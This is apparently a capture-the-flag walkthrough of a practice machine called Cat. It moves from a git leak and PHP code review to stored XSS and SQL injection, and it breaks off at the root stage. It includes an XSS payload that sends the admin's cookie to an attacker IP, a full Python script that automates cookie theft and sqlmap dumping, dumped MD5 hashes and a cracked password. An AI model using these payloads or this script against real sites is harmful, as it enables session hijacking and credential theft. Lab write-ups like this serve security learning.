RECON
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Best Cat Competition
| http-git:
| 10.129.207.38:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Cat v1
Port 80
Hosting a website: "Best Cat Competition", and running Apache/2.4.41 (Ubuntu). Additionally, Git Repository found (/.git/
), meaning we can perform a Git Leak Attack.
This is a web application for cat competition:

The VOTE page is currently not allowed to interact. If we change to the CONTEST page, it requires us to register first:

Then, we log in using our newly registered account with a simple GET request: http://cat.htb/join.php?loginUsername=axura&loginPassword=axura&loginForm=Login. Once inside, we spot an upload entry:

The upload is handled at http://cat.htb/contest.php via POST. However, submitting an empty file triggers an error:

Interestingly, if we forge an image header like GIF89a
, the server accepts the submission, confirming that our file is sent for inspection:

WEB
Git Leak
git-dumper
Since we’ve identified a Git leak at http://cat.htb/.git/
via our Nmap scan, we can use Git Dumper to extract the entire repository:
python git_dumper.py http://cat.htb/.git/ ./gitleak
To run git-dumper
, we first set up a virtual Python environment:

Once ready, we pull the leaked Git repository onto our attack machine:
$ ls gitleak -lh
total 72K
-rwxr-xr-x 1 Axura Axura 893 Feb 2 04:43 accept_cat.php
-rwxr-xr-x 1 Axura Axura 4.4K Feb 2 04:43 admin.php
-rwxr-xr-x 1 Axura Axura 277 Feb 2 04:43 config.php
-rwxr-xr-x 1 Axura Axura 6.6K Feb 2 04:43 contest.php
drwxr-xr-x 2 Axura Axura 4.0K Feb 2 04:43 css
-rwxr-xr-x 1 Axura Axura 1.2K Feb 2 04:43 delete_cat.php
drwxr-xr-x 2 Axura Axura 4.0K Feb 2 04:43 img
drwxr-xr-x 2 Axura Axura 4.0K Feb 2 04:43 img_winners
-rwxr-xr-x 1 Axura Axura 3.5K Feb 2 04:43 index.php
-rwxr-xr-x 1 Axura Axura 5.8K Feb 2 04:43 join.php
-rwxr-xr-x 1 Axura Axura 79 Feb 2 04:43 logout.php
-rwxr-xr-x 1 Axura Axura 2.7K Feb 2 04:43 view_cat.php
-rwxr-xr-x 1 Axura Axura 1.7K Feb 2 04:43 vote.php
drwxr-xr-x 2 Axura Axura 4.0K Feb 2 04:43 winners
-rwxr-xr-x 1 Axura Axura 3.3K Feb 2 04:43 winners.php
Enumeration
Some easy enumeration before dive into details:
$ grep -ir 'password' gitleak
gitleak/join.php: $password = md5($_GET['password']);
gitleak/join.php: $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
gitleak/join.php: $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
gitleak/join.php: $password = md5($_GET['loginPassword']);
gitleak/join.php: if ($user && $password === $user['password']) {
gitleak/join.php: $error_message = "Incorrect username or password.";
gitleak/join.php: <label for="password">Password:</label>
gitleak/join.php: <input type="password" id="password" name="password" required>
gitleak/join.php: <label for="loginPassword">Password:</label>
gitleak/join.php: <input type="password" id="loginPassword" name="loginPassword" required>
gitleak/css/styles.css: input[type="password"],
$ grep -ir 'username' gitleak
gitleak/vote.php: if (isset($_SESSION['username'])) {
gitleak/vote.php: if ($_SESSION['username'] === 'axel') {
gitleak/winners.php: if (isset($_SESSION['username'])) {
gitleak/winners.php: if ($_SESSION['username'] == 'axel') {
gitleak/accept_cat.php:if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
gitleak/join.php: $username = $_GET['username'];
gitleak/join.php: $stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
gitleak/join.php: $stmt_check->execute([':username' => $username, ':email' => $email]);
gitleak/join.php: $error_message = "Error: Username or email already exists.";
gitleak/join.php: $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
gitleak/join.php: $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);
gitleak/join.php: $username = $_GET['loginUsername'];
gitleak/join.php: $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
gitleak/join.php: $stmt->execute([':username' => $username]);
gitleak/join.php: $_SESSION['username'] = $user['username'];
gitleak/join.php: $error_message = "Incorrect username or password.";
gitleak/join.php: <label for="username">Username:</label>
gitleak/join.php: <input type="text" id="username" name="username" required>
gitleak/join.php: <label for="loginUsername">Username:</label>
gitleak/join.php: <input type="text" id="loginUsername" name="loginUsername" required>
gitleak/view_cat.php:if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
gitleak/view_cat.php: $query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
gitleak/view_cat.php: if (isset($_SESSION['username'])) {
gitleak/view_cat.php: if ($_SESSION['username'] == 'axel') {
gitleak/view_cat.php: <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
gitleak/delete_cat.php:if (isset($_SESSION['username']) && $_SESSION['username'] == 'axel'){
gitleak/contest.php:if (!isset($_SESSION['username'])) {
gitleak/contest.php: $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
gitleak/contest.php: $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
gitleak/contest.php: if (isset($_SESSION['username'])) {
gitleak/contest.php: if ($_SESSION['username'] == 'axel') {
gitleak/admin.php:if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
gitleak/admin.php: if (isset($_SESSION['username'])) {
gitleak/admin.php: if ($_SESSION['username'] == 'axel') {
gitleak/index.php: if (isset($_SESSION['username'])) {
gitleak/index.php: if ($_SESSION['username'] === 'axel') {
The username "axel" appears frequently, especially for admin-related checks in admin.php
:
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
This strongly suggests "axel"
holds administrative privileges.
Meanwhile, join.php
processes passwords using:
$password = md5($_GET['password']);
Since MD5 is outdated and weak, it's trivial to brute-force.
Additionally, by running git log
, we can extract the admin’s email ([email protected]
):

Code Review
Now that we have the source code from the dumped repository, we can perform a targeted code review. Instead of sifting through everything, we'll focus on key sections relevant to our exploitation.
config.php
The config.php
file is included in most PHP scripts, making it a good starting point:
<?php
// Database configuration
$db_file = '/databases/cat.db';
// Connect to the database
try {
$pdo = new PDO("sqlite:$db_file");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Error: " . $e->getMessage());
}
?>
The config.php
file handles database configuration and connection setup using SQLite, which locates at path /databases/cat.db
. Since this is an SQLite database, there is no need for credentials (username/password).
contest.php
The contest.php
file is part of the Best Cat Community web application and is responsible for handling user-submitted cat contest entries. It includes features such as user authentication, form handling, image upload, and database interaction.
User Authentication:
session_start();
include 'config.php';
And some access control:
if (!isset($_SESSION['username'])) {
header("Location: /join.php");
exit();
}
It Redirects users to join.php
(login page) if they are not authenticated, to ensures that only logged-in users can submit contest entries.
Form Data Processing
if ($_SERVER["REQUEST_METHOD"] == "POST") {
Checks if the request is a POST request (form submission). If so, the server captures user-input data:
$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];
Input Validation | Forbidden Characters
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
function contains_forbidden_content($input, $pattern) {
return preg_match($pattern, $input);
}
Blocks certain special characters from being entered in the form fields to prevent injections (e.g., SQLi, XSS, LFI).
Image Upload Handling
$target_dir = "uploads/";
$imageIdentifier = uniqid() . "_";
$target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
Saves uploaded images in the uploads/
directory and Creates a unique identifier for each uploaded image.
Then uses getimagesize()
to validate that the file is an actual image:
$check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
if($check !== false) {
$uploadOk = 1;
} else {
$error_message = "Error: The file is not an image.";
$uploadOk = 0;
}
Further, restricts file size to 500 KB:
if ($_FILES["cat_photo"]["size"] > 500000) {
$error_message = "Error: The file is too large.";
$uploadOk = 0;
}
Limits file types to JPG, JPEG, and PNG:
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
$error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
$uploadOk = 0;
}
If all conditions pass, saves the uploaded image:
if ($uploadOk == 1) {
move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file);
}
Database Interaction
Inserts Form Data into the database:
$stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
$stmt->execute();
Uses PDO prepared statements (which protects against SQL Injection).
HTML Form
This section renders the contest submission form and displays any error/success messages.
<?php if ($success_message): ?>
<div class="message"><?php echo $success_message; ?></div>
<?php endif; ?>
<?php if ($error_message): ?>
<div class="error-message"><?php echo $error_message; ?></div>
<?php endif; ?>
admin.php
The admin.php
page is an administration panel for the Best Cat Community application. It is used by the administrator ("axel") to manage submitted cats, including viewing, accepting, and rejecting contest entries.
User Authentication
session_start();
include 'config.php';
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
header("Location: /join.php");
exit();
}
Only the user "axel" (admin) is allowed. If an unauthorized user accesses this page, they are redirected to join.php
(login page).
Display
Displays the cat image:
<img src="<?php echo htmlspecialchars($cat['photo_path']); ?>" alt="<?php echo htmlspecialchars($cat['cat_name']); ?>" class="cat-photo">
Uses htmlspecialchars()
to prevent XSS when rendering the image path.
<div class="cat-info">
<strong>Name:</strong> <?php echo htmlspecialchars($cat['cat_name']); ?><br>
</div>
Displays the cat's name while sanitizing it using htmlspecialchars()
.
Admin Actions | Accept/Reject
Each cat has three buttons, The first one redirects to view_cat.php
to see more details about the cat:
<button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>
Then 2nd one accept-button
calls acceptCat()
in JavaScript to send a POST request to accept_cat.php
:
<button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
The 3rd one reject-button
calls rejectCat()
in JavaScript to delete the entry via delete_cat.php
.
<button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>
JavaScript for Admin Actions
It sends an AJAX request to accept_cat.php
.
function acceptCat(catName, catId) {
if (confirm("Are you sure you want to accept this cat?")) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "accept_cat.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
window.location.reload();
}
};
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
}
}
The request includescatName
(cat’s name) and catId
(cat’s ID)
Potential XSS Vulnerability
Here we can identify an XSS in the acceptCat()
function:
xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
The catName
parameter is controlled by user input. It is directly inserted into the JavaScript function without proper sanitization.
view_cat.php
| XSS
There is a potential Stored XSS vulnerability in view_cat.php
because user-supplied input (cat details) is rendered without proper escaping.
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<div class="cat-info">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
<strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
<strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
<strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>
User-controlled fields (age
, birthdate
, weight
, username
, created_at
) are echoed directly.
accept_cat.php
| SQL Injection
The accept_cat.php
script processes the acceptance of a cat entry. When an admin (axel
) clicks the "Accept" button on admin.php
, an AJAX request is sent to this script, which:
<?php
include 'config.php';
session_start();
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();
echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>
- Checks if the user is "axel".
- Inserts the cat’s name into the
accepted_cats
table. - Deletes the cat from the
cats
table. - Returns a success message.
We can identify a SQL injection vulnerability here:
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
- User input (
$cat_name
) is directly injected into the SQL query without sanitization. - We can here manipulate
catName
to execute arbitrary SQL.
Reflective XSS
As noted in the code review, potential XSS exists in view_cat.php
, where the admin reviews cat submissions, including fields like age
, birthdate
, weight
, username
, and created_at
. These user-provided values are echoed directly into HTML, reflecting the admin's session.
However, we can’t test XSS in contest.php
using age
, birthdate
, or weight
since the script applies input filtering:
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
Malicious input will be blocked in the POST request:

However, we can still leverage other vectors like username
and created_at
, both submitted via contest.php
. Since created_at
is generated automatically and not under our control, username
becomes the ideal injection point.
To exploit this, we simply register a new user with an XSS payload embedded in the username. For example:
<script>fetch('http://10.10.16.15/?c='+document.cookie);</script>
Login with it:

Submit a cat entry via contest.php
and click "Register Cat." With our HTTP server running in the background, the admin’s session cookie will be sent to our attacker machine:

Once we have the stolen cookie, we can use it to access admin.php
, maintaining the session using browser extensions like Cookie Manager.

SQL Injection
Since we've identified a SQL injection vulnerability in accept_cat.php
, which is only accessible to the admin via the accept-button
:
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
PoC | XSS + SQLi
We can test this injection using the stolen PHPSESSID. However, the session expires quickly, so automating the process is necessary for a good practise. The following script auotmates the XSS (steal admin cookie via contest.php
) and SQLi attacks (authenticated as admin via accept_cat.php
):
import requests
import re
import random
import subprocess
import os
import time
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import logging
# Configure debug logging
logging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
DEBUG = 0 # Set to 1 to enable debugging, 0 to disable
def pr_debug(message):
if DEBUG:
logging.debug(message)
# Configuration
TARGET_HOST = "http://cat.htb"
ATTACKER_IP = "10.10.▒▒.▒▒" # Change this
ATTACKER_SERVER = f"http://{ATTACKER_IP}"
SQLMAP_PATH = "/usr/bin/sqlmap"
# XSS Payload to steal admin's PHPSESSID
XSS_PAYLOAD = f'<script>fetch("{ATTACKER_SERVER}/?c="+encodeURIComponent(document.cookie));</script>'
USERNAME = XSS_PAYLOAD
PASSWORD = "axura"
pr_debug(f"Username for exploitation:\n{USERNAME}")
# Global variable to store the leaked session
admin_session_id = None
class RequestHandler(BaseHTTPRequestHandler):
"""HTTP Server to Capture PHPSESSID"""
def do_GET(self):
"""Capture and log incoming requests"""
global admin_session_id
pr_debug("Received request from HTTP server:")
pr_debug(self.path)
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
pr_debug(f"Query Parameters: {query_params}")
if "c" in query_params:
session_id = query_params["c"][0]
if "PHPSESSID=" in session_id:
session_id = session_id.replace("PHPSESSID=", "")
pr_debug(f"[+] Captured admin PHPSESSID: {session_id}")
# Store the session in the global variable instead of a file
admin_session_id = session_id
# Send a response
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"OK")
def start_http_server():
"""Starts an HTTP server in a background thread to capture admin cookies."""
server_address = ("0.0.0.0", 80)
httpd = HTTPServer(server_address, RequestHandler)
print("[*] Listening on port 80 for leaked PHPSESSID...")
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()
def generate_random_email():
"""Generate a unique email for registration to bypass duplicate checks."""
return f"sqli{random.randint(1000, 9999)}@axura.com"
def register_new_account():
"""Registers a new account with XSS payload in the username."""
email = generate_random_email()
encoded_email = urllib.parse.quote(email)
encoded_username = urllib.parse.quote(USERNAME)
register_url = f"{TARGET_HOST}/join.php?username={encoded_username}&email={encoded_email}&password={PASSWORD}®isterForm=Register"
print(f"[*] Registering new account with email: {email}")
response = requests.get(register_url)
if response.status_code == 200:
print("[+] Registration successful")
return email
else:
print("[-] Registration failed")
return None
def login_and_get_cookie():
"""Logs in with the injected XSS username and returns PHPSESSID."""
session = requests.Session()
encoded_username = urllib.parse.quote(USERNAME)
login_url = f"{TARGET_HOST}/join.php?loginUsername={encoded_username}&loginPassword={PASSWORD}&loginForm=Login"
# Create a session to persist cookies
print("[*] Logging in with injected username...")
response = session.get(login_url, allow_redirects=True)
# Extract PHPSESSID from the response cookies
session_id = session.cookies.get("PHPSESSID")
if session_id:
print(f"[+] Logged in successfully. Captured PHPSESSID: {session_id}")
return session,session_id
else:
print("[-] Login failed. No PHPSESSID found.")
return None
def submit_cat_entry(session):
"""Submits a cat entry using the valid PHPSESSID."""
contest_url = f"{TARGET_HOST}/contest.php"
headers = {
"Referer": f"{TARGET_HOST}/contest.php",
"User-Agent": "Mozilla/5.0",
# "Cookie": f"PHPSESSID={session_id}"
}
files = {"cat_photo": ("test.jpg", b"GIF89a aaa\naxura", "image/jpeg")}
data = {"cat_name": "tom", "age": "1", "birthdate": "2077-12-31", "weight": "1"}
print(f"[*] Submitting cat entry...")
response = session.post(contest_url, headers=headers, files=files, data=data, allow_redirects=False)
if response.status_code == 200:
pr_debug("Server response for Cat submit:")
pr_debug(response.text)
if "Cat has been successfully sent for inspection." in response.text:
print("[+] Cat entry submitted successfully!")
return True
else:
print("[-] Submission did not return expected success message!")
return False
else:
print(f"[-] Failed to submit cat entry. Status Code: {response.status_code}")
return False
def wait_for_admin_session():
"""Waits until the admin session ID is leaked via XSS and captured."""
global admin_session_id
print("[*] Waiting for admin session to be leaked...")
for attempt in range(60): # Try for ~5 minutes
time.sleep(5)
if admin_session_id:
print(f"[+] Captured admin PHPSESSID: {admin_session_id}")
# pr_debug(admin_session_id)
return admin_session_id
print(f"[*] Checking again... (Attempt {attempt+1}/60)")
print("[-] Failed to retrieve admin session after max retries.")
return None
def validate_session(session_id):
"""Checks if the admin session is still valid."""
url = f"{TARGET_HOST}/accept_cat.php"
headers = {"Cookie": f"PHPSESSID={session_id}"}
response = requests.get(url, headers=headers)
if "Access denied." in response.text:
print("[-] Session has expired.")
return False
print("[+] Session is still valid.")
return True
def run_sqlmap(admin_session):
"""Runs SQLMap using the admin PHPSESSID."""
print(f"[*] Running SQLMap with Admin PHPSESSID: {admin_session}")
sqlmap_command = [
"/usr/bin/sqlmap",
"-u", f"{TARGET_HOST}/accept_cat.php",
"--data", "catId=2077&catName=Tom",
"--cookie", f"PHPSESSID={admin_session}",
"-p", "catName",
"--dbms=SQLite",
"--technique=B",
"-Tusers",
"--dump",
"--no-cast",
"--threads=5",
"--batch",
"--level=5",
"--risk=3",
]
subprocess.run(sqlmap_command)
def main():
print("[*] Initializing attack...")
# Start HTTP server in background
start_http_server()
while True:
print("\n[*] Starting a new execution cycle...")
# Step 1: Register a new account
email = register_new_account()
if not email:
continue
# Step 2: Login and get the session ID
session, session_id = login_and_get_cookie()
if not session:
continue
# Step 3: Submit cat entry using the session
if not submit_cat_entry(session):
print("[-] Failed to submit cat entry. Retrying...")
continue
# Step 4: Wait for XSS to capture the admin's PHPSESSID
admin_session = wait_for_admin_session()
if not admin_session:
print("[-] Failed to capture admin session. Restarting process...")
continue
# Step 5: Execute SQL Injection using SQLmap
while validate_session(admin_session):
print("[+] Reusing valid admin session for SQL Injection...")
run_sqlmap(admin_session) # Blocks execution until SQLmap finishes
print("[-] Admin session expired. Restarting entire process...")
continue # Back to step 1
if __name__ == "__main__":
main()
This is the finalized script after thorough debugging, with particular refinements in the run_sqlmap
function, which ran with fewer flags at start (explained in the next section). Finally, despite the short lifespan of the admin session, our script automates the SQL injection process:

Exploit
With this script, we can fine-tune our SQL injection attack by adjusting sqlmap
flags. Since we've already identified SQLite as the backend database from config.php
, we specify it explicitly in our script’s run_sqlmap()
function.
Sqlmap then detects that the catName
parameter is injectable, confirming the injection payload:
sqlmap identified the following injection point(s) with a total of 84 HTTP(s) requests:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catId=2077&catName=Tom'||(SELECT CHAR(117,106,105,107) WHERE 7647=7647 AND 4781=4781)||'
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: catId=2077&catName=Tom'||(SELECT CHAR(122,80,114,80) WHERE 8865=8865 AND 8432=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'
Sqlmap detects two types of injection: boolean-based blind and time-based blind. To optimize for speed, we specify boolean-based blind using the --technique=B
flag, as it's significantly faster than time-based blind—especially crucial for a time-sensitive competition.
Next, we list available tables using the --tables
flag:

4 Tables dumped:
[4 tables]
+-----------------+
| accepted_cats |
| cats |
| sqlite_sequence |
| users |
+-----------------+
To extract data, we add --dump
, and since SQLite doesn't always support implicit type conversions, we include --no-cast
to disable SQLMap’s automatic casting. This refines our final run_sqlmap()
function:
def run_sqlmap(admin_session):
"""Runs SQLMap using the admin PHPSESSID."""
print(f"[*] Running SQLMap with Admin PHPSESSID: {admin_session}")
sqlmap_command = [
"/usr/bin/sqlmap",
"-u", f"{TARGET_HOST}/accept_cat.php",
"--data", "catId=2077&catName=Tom",
"--cookie", f"PHPSESSID={admin_session}",
"-p", "catName",
"--dbms=SQLite",
"--technique=B",
"-Tusers",
"--dump",
"--no-cast",
"--threads=5",
"--batch",
"--level=5",
"--risk=3",
]
subprocess.run(sqlmap_command)
Gotcha:

There're many data in the users
table, and the 32-byte long ones are obvious MD5 hashes:
Table: users
[10 entries]
+-------------------------------+----------------------------------+----------+
| email | password | username |
+-------------------------------+----------------------------------+----------+
| [email protected] | d1bbba3670feb9435c9841e46e60ee2f | axel |
| [email protected] | ac369922d560f17d6eeb8b2c7dec498c | rosa |
| [email protected] | 42846631708f69c00ec0c0a8aa4a92ad | robert |
| [email protected] | 39e153e825c4a3d314a0dc7f7475ddbe | fabian |
| [email protected] | 781593e060f8d065cd7281c5ec5b4b86 | jerryson |
| [email protected] | 1b6dce240bbfbc0905a664ad199e18f8 | larry |
| [email protected] | c598f6b844a36fa7836fba0835f1f6 | royer |
| [email protected] | e41ccefa439fc454f7eadbf1f139ed8a | peter |
| [email protected] | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel |
| [email protected] | 88e4dceccd48820cf77b5cf6c08698ad | jobert |
+-------------------------------+----------------------------------+----------+
Extract the hashes and save it to hashes.txt
:
$ cat users.txt | awk '{print $4}'
password
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
$ cat users.txt | awk 'NR>3 {print $4}' > hashes.txt
Cracking the hashes with Hashcat mode 0
(MD5), we successfully retrieve the password for user rosa
:
ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: .\hash.txt
Using these credentials, we attempt SSH login as rosa
, and it works:

No flags are found at this stage, but we immediately notice something interesting—rosa
is part of the adm
group.
USER
Apache Logs
As user rosa
, we're in the adm
group, which is interesting because the adm
group on Linux usually has read access to system logs (/var/log
). This can be useful for privilege escalation, as some services may log sensitive information (e.g., credentials, tokens).
Look for logs owned by adm
that we can read:
rosa@cat:~$ ls -la /var/log/ | grep 'adm'
drwxr-x--- 2 root adm 4096 Feb 3 02:59 apache2
drwxr-x--- 2 root adm 4096 Feb 3 04:05 audit
-rw-r----- 1 syslog adm 42193 Feb 3 07:35 auth.log
-rw-r----- 1 syslog adm 19344 Jan 30 15:33 auth.log.1
-rw-r----- 1 syslog adm 1 Jan 21 13:02 cloud-init.log
-rw-r----- 1 root adm 282216 Dec 31 12:27 cloud-init-output.log
-rw-r--r-- 1 root adm 0 Jan 21 13:01 dmesg
drwxr-x--- 3 root adm 4096 Jun 3 2024 installer
-rw-r----- 1 syslog adm 784280 Feb 3 06:50 kern.log
-rw-r----- 1 syslog adm 1051746 Jan 30 15:33 kern.log.1
-rw-r----- 1 syslog adm 70511 Feb 3 07:35 mail.log
-rw-r----- 1 syslog adm 4565 Jan 27 16:05 mail.log.1
-rw-r----- 1 syslog adm 134652 Feb 3 07:35 syslog
-rw-r----- 1 syslog adm 448951 Feb 3 02:59 syslog.1
-rw-r----- 1 syslog adm 131116 Jan 31 11:17 syslog.2.gz
Quit a lot sensitive logs we can access here:
auth.log
– Tracks authentication attempts, includingsudo
usage, failed logins, and SSH access.- We can look for
sudo
commands executed by other users to check if any misconfigurations exist (e.g.,NOPASSWD
privileges).
- We can look for
syslog
– Contains system-wide logs, including service activity, cron jobs, and executed scripts.- If we find cron jobs running as root, we may be able to inject malicious commands or replace scripts.
- We can also search for scripts or binaries executed by privileged users that we might be able to modify.
kern.log
– Captures kernel events and logs related to system processes.- If we see unusual kernel messages, they may indicate vulnerabilities in running services.
apache2/access.log
andapache2/error.log
– Stores web server logs, which could reveal sensitive paths, credentials, or exploited vulnerabilities.cloud-init-output.log
– Sometimes contains credentials or initialization scripts from the system setup.- If misconfigured, it might store plaintext passwords or SSH keys.
Here, we can simply use the find
command with xargs
to enumerate sensitive keywords, for example:
find /var/log/ -group adm 2>/dev/null | xargs grep -ir 'password'

It turns out that user axel
logs into the cat web application using a plain-text password, just like we did.
Password Reuse
Since users often reuse passwords across services, we attempt SSH login as axel
using the cracked password:

Login is successful, allowing us to capture the user flag. Additionally, we spot an interesting hint—"You have mail"—which suggests that checking axel
's mailbox might lead us to the next step.
ROOT
Since we received a mail notification upon logging in as axel
, let's check the mailbox for any useful information:
axel@cat:~$ ls -l /var/mail
total 100
-rw-rw---- 1 axel mail 1961 Jan 14 16:49 axel
-rw-rw---- 1 jobert mail 0 Jan 14 16:54 jobert
-rw------- 1 root mail 93824 Feb 3 07:55 root
axel@cat:~$ cat /var/mail/axel
From [email protected] Sat Sep 28 04:51:50 2024
Return-Path: <[email protected]>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <[email protected]>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: [email protected]
Message-Id: <[email protected]>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From [email protected] Sat Sep 28 05:05:28 2024
Return-Path: <[email protected]>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <[email protected]>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: [email protected]
Message-Id: <[email protected]>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
